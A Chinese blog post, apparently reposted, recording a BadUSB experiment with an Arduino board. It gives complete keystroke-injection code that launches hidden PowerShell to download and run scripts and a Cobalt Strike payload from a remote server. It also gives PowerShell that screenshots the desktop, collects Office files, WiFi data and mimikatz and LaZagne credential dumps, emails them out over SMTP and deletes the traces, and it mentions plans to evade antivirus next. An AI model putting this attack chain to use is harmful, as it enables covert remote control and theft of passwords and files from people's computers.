曾经很火的BADUSB测试记录

0、前言

最近在做个课题是对BADUSB的测试和研究,正好可以结合Cobalt Strike、结合其他功能代码做个联合测试。所以斥巨资花了50多块钱买了USB开发板。
在正文开始之前,先炫耀一下自己的测试装备。
在这里插入图片描述
1.机械键盘
买了个键线分离,支持三模的机械键盘,虽然手感稍差,但是好在支持蓝牙、支持热插拔、支持充电电池的内卷键盘。
支持蓝牙的好处是可以连接手机远程登录VPS。
同时支持3个设备配对,笔记本和手机之间无缝切换,程序猿的快乐就是这么简单那。
然后花了几十块钱买了个茶轴和白色键帽,也就是说有2套轴,2套帽,搭配着用。
2.显示器
同事做测试的显示器,这个没有花钱,临时借用。因为是很老的显示器,最高分辨率只到1600*900,凑合用吧。
至少支持kali虚拟机扩展到显示器,相当于2台主机。

1、准备工作

关于BadUSB的原理、介绍、危害、防范详情请查看网上文档。这里直接来干货。
a。首先需要一个开发板,网店上有好多售卖的。
我买了2个,一个是Arduino Micro,一个是Digispark。
b。软件:Arduino
建议从官方下载,如果是Arduino开发板的话,官方下载的安装版本自带驱动,不需要另外安装。我没有使用绿色免安装版。
c。准备一台VPS,如果没有条件可以使用本地局域网环境。
d。下载BadUSB脚本,github上有一个不错的。
https://github.com/Xyntax/BadUSB-code

2、测试过程

2.1 制作BADUSB

a。将BADUSB插入笔记本,打开Arduino,复制代码到编辑区域。

#include <Keyboard.h>
void setup(){
    
    //初始化 
Keyboard.begin();//开始键盘通讯 
delay(6000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(200);
Keyboard.press('r');//r键
delay(200); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(300);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/MAIN.PS1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN);
delay(600);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(200);
Keyboard.press('r');//r键
delay(200); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(200);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/payload.ps1') ");
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯 
}
void loop() {
    
    }

修改星号部分变成自己服务器的IP地址。
在这里插入图片描述
点击验证/编译,通过以后再点击上传。
上传成功。

这是2个功能,一个是执行MAIN.PS1,一个是执行payload.ps1。2个可以同时使用,也可以单独使用,自行编辑即可。
第一个是github上的脚本,配套Command.rar,GetPass.rar,GetPass.ps1使用。
将Command.rar,GetPass.rar,GetPass.ps1,main.ps1放置到服务器上,开启web服务,保证客户端可以访问到。
第二个是自己用CS生成的payload,搭配侦听器使用。先生成侦听器,如下图:
在这里插入图片描述
再生成payload,如下图:
在这里插入图片描述
将生成的payload.ps1放置到服务器相应目录下。可以直接打开下载地址,测试是否能成功下载。

2.2 脚本准备

main.ps1文件内有个功能是屏幕截图,结果一直是黑屏,本人不太擅长编码,但是依葫芦画瓢改了一下,还是实现了。
原main.ps1
大概位置2993–3005

$displayInfo = Get-WmiObject Win32_DesktopMonitor | Where {
    
    $_.Name -eq 'Default Monitor'}| Select ScreenHeight, ScreenWidth 

$displayWidth = $displayInfo.ScreenWidth 

$displayHeight = $displayInfo.ScreenHeight 

[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

$jpegName = (get-date).ToString('HHmmss') 
$image = new-object System.Drawing.Bitmap 1920 ,1080
$imageSize = New-object System.Drawing.Size $displayWidth,$displayHeight
$screen = [System.Drawing.Graphics]::FromImage($image) 
$screen.copyfromscreen(0,0,0,0, $imageSize,([System.Drawing.CopyPixelOperation]::SourceCopy)) 
$image.Save("$jpegSaveDir/$jpegName.jpeg",([system.drawing.imaging.imageformat]::jpeg)); 

更改后:

Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing

$jpegName = (get-date).ToString('HHmmss') 
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save("$jpegSaveDir/$jpegName.jpeg"); 

同时收集桌面office文件和系统信息打包到压缩文件Report.ZIP,并发送到邮箱,这里需要设置邮件发送设置。
大概在3000行附近:

$SMTPServer = 'smtp.163.com'

$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 25)

$SMTPInfo.EnableSsl = $false

$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('***@163.com', '*********');

$ReportEmail = New-Object System.Net.Mail.MailMessage

$ReportEmail.From = '***@163.com'

$ReportEmail.To.Add('***@163.com')

$ReportEmail.Subject = 'Report'

$ReportEmail.Body = 'Report' 

原作者说不支持163邮箱,我测试以后发现是支持的。主要是否SSL加密,端口号,邮箱服务器地址,邮箱地址要填写正确。
重要的是密码部分,需要在邮箱申请,并不是真正的登录密码,而是申请时生成的一个字符串。

同时还要修改2854左右行。

IEX (New-Object Net.WebClient).DownloadString('http://www.xxx.xxx/GetPass.ps1');

修改IP地址,这一步是执行GetPass.ps1。
这个文件内容也需要修改:

(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/GetPass.rar','D:\Get.exe');

(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/Command.rar','D:\Command.bat');

D:\Command.bat;
$SMTPServer = 'smtp.qq.com'

$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)

$SMTPInfo.EnableSsl = $true 

$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'olawgxxxxxxx');

$ReportEmail = New-Object System.Net.Mail.MailMessage

$ReportEmail.From = '[email protected]'

$ReportEmail.To.Add('[email protected]')

$ReportEmail.Subject = 'GetPass'

$ReportEmail.Body = 'GetPass_text'  

$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Timeout = 1000000
$SMTPInfo.Send($ReportEmail)
$ReportEmail.Attachments.Dispose()

remove-item 'D:\GetPass.txt'

remove-item 'D:\Get.exe'

同样要修改邮箱发送设置和下载文件路径设置。

2.3 效果

在这里插入图片描述
插入U盘,会有个cmd窗口弹出,时间很短就会关闭。

2.4 避坑指南

我的服务器是某云VPS服务器,操作系统Ubuntu 20.04,模拟键盘输入的时候为避免输入法,切换到大写,Linux系统区分大小写,可能找不到文件。所以建议放置MANI.PS1,main.ps1大小写文件各一份,内容一样。
main.ps1文件还有个作用是收集桌面txt,doc,docx,xls,xlsx,所以建议在靶机上放置几个样本文件,没有样本不行,估计脚本里没有考虑没有文件的判断条件。
靶机要有D盘,因为过程中要在D盘下载临时文件。
使用administrator用户登录系统,插入U盘。
我测试管理员组其他用户可以远控,可以收到邮件,但邮件内没有内容。
因为一些临时文件放到c:\windows目录下。

3、测试结果

1、发送的邮件

在这里插入图片描述
会受到2封邮件,下载到本地。
在这里插入图片描述
获取桌面文件在Doc目录,Duck文件夹收集靶机wifi信息,Screenshots是屏幕截图,ComputerInfo是系统信息,DumpPass是mimikatz收集的用户及用户凭证。
在这里插入图片描述
上图是屏幕截图,在修改main.ps1前是全黑屏。

另外一封邮件是GetPass.txt,实际上是LaZagne收集的信息,LaZagne支持的密码收集:
在这里插入图片描述
等等。

2、远控

在这里插入图片描述

常规的CS远控,下一步可以测试payload.ps1免杀,main.ps1免杀。

4、参考

https://blog.csdn.net/m0_49605975/article/details/109248406

猜你喜欢

转载自blog.csdn.net/imtech/article/details/127265084